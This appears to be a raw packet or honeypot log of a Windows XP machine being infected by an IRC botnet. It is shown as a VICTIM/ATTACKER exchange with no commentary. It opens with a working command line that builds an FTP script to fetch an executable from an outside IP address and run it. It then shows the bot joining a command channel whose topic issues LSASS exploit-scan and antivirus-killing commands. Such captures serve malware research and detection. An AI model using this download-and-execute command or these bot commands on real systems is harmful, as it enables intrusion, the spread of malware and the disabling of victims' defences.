VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: echo open 122.18.253.143 47148>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 220 WinFtpd 1.2 VICTIM: USER a ATTACKER: 331 Password required VICTIM: PASS a ATTACKER: 230 User logged in. VICTIM: TYPE I ATTACKER: 200 Type set to I. VICTIM: PORT 192,168,1,241,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR resource32w.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye. VICTIM: open 122.18.253.143 47148USER abinaryget resource32w.exequit VICTIM: NICK fojxjvsdUSER i020501 . . :_ VICTIM: JOIN &virtu ATTACKER: NICK [SOUL]754565USER ykpdlat 0 0 :[SOUL]754565 ATTACKER: :irc.celestial.org NOTICE AUTH :*** Looking up your hostname...:irc.celestial.org NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc.celestial.org NOTICE [SOUL]754565 :*** If you are having problems connecting due to ping timeouts, please type /quote pong 57AE0342 or /raw pong 57AE0342 now.PING :57AE0342 ATTACKER: PONG :57AE0342 VICTIM: JOIN #hell troopers ATTACKER: :irc.celestial.org 001 [SOUL]754565 :Welcome to the celestial IRC Network [SOUL]754565!ykpdlat@192.168.1.241:irc.celestial.org 002 [SOUL]754565 :Your host is irc.celestial.org, running version Unreal3.2.3:irc.celestial.org 003 [SOUL]754565 :This server was created Sun Mar 13 21:51:25 2005:irc.celestial.org 004 [SOUL]754565 irc.celestial.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.celestial.org 005 [SOUL]754565 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.celestial.org 005 [SOUL]754565 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=celestial CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.celestial.org 251 [SOUL]754565 :There are 1 users and 756 invisible on 1 servers VICTIM: USERHOST [SOUL]754565 ATTACKER: :irc.celestial.org 252 [SOUL]754565 1 :operator(s) online:irc.celestial.org 253 [SOUL]754565 1 :unknown connection(s):irc.celestial.org 254 [SOUL]754565 4 :channels formed:irc.celestial.org 255 [SOUL]754565 :I have 757 clients and 0 servers:irc.celestial.org 265 [SOUL]754565 :Current Local Users: 757 Max: 3658:irc.celestial.org 266 [SOUL]754565 :Current Global Users: 757 Max: 1123:irc.celestial.org 375 [SOUL]754565 :- irc.celestial.org Message of the Day - :irc.celestial.org 372 [SOUL]754565 :- 6/5/2005 12:50:irc.celestial.org 372 [SOUL]754565 :- celestial.org:irc.celestial.org 376 [SOUL]754565 :End of /MOTD command.:[SOUL]754565 MODE [SOUL]754565 :+iwx:[SOUL]754565!ykpdlat@38749BCA.7C063B57.1A0AE753.IP JOIN :#hell:irc.celestial.org 332 [SOUL]754565 #hell :.advscan lsass_445 100 5 0 -b -r -s -z -q|.advscan lsass_445 100 10 0 x.x.x.x -r -z -s|.avfwkiller start -s:irc.celestial.org 333 [SOUL]754565 #hell MiStA_SimpAtiA 1198892994:irc.celestial.org 353 [SOUL]754565 @ #hell :[SOUL]754565 ~MiStA_SimpAtiA :irc.celestial.org 366 [SOUL]754565 #hell :End of /NAMES list. VICTIM: MODE [SOUL]754565 +ixJOIN #hell troopersUSERHOST [SOUL]754565MODE [SOUL]754565 +ixJOIN #hell troopersUSERHOST [SOUL]754565MODE [SOUL]754565 +ixJOIN #hell troopers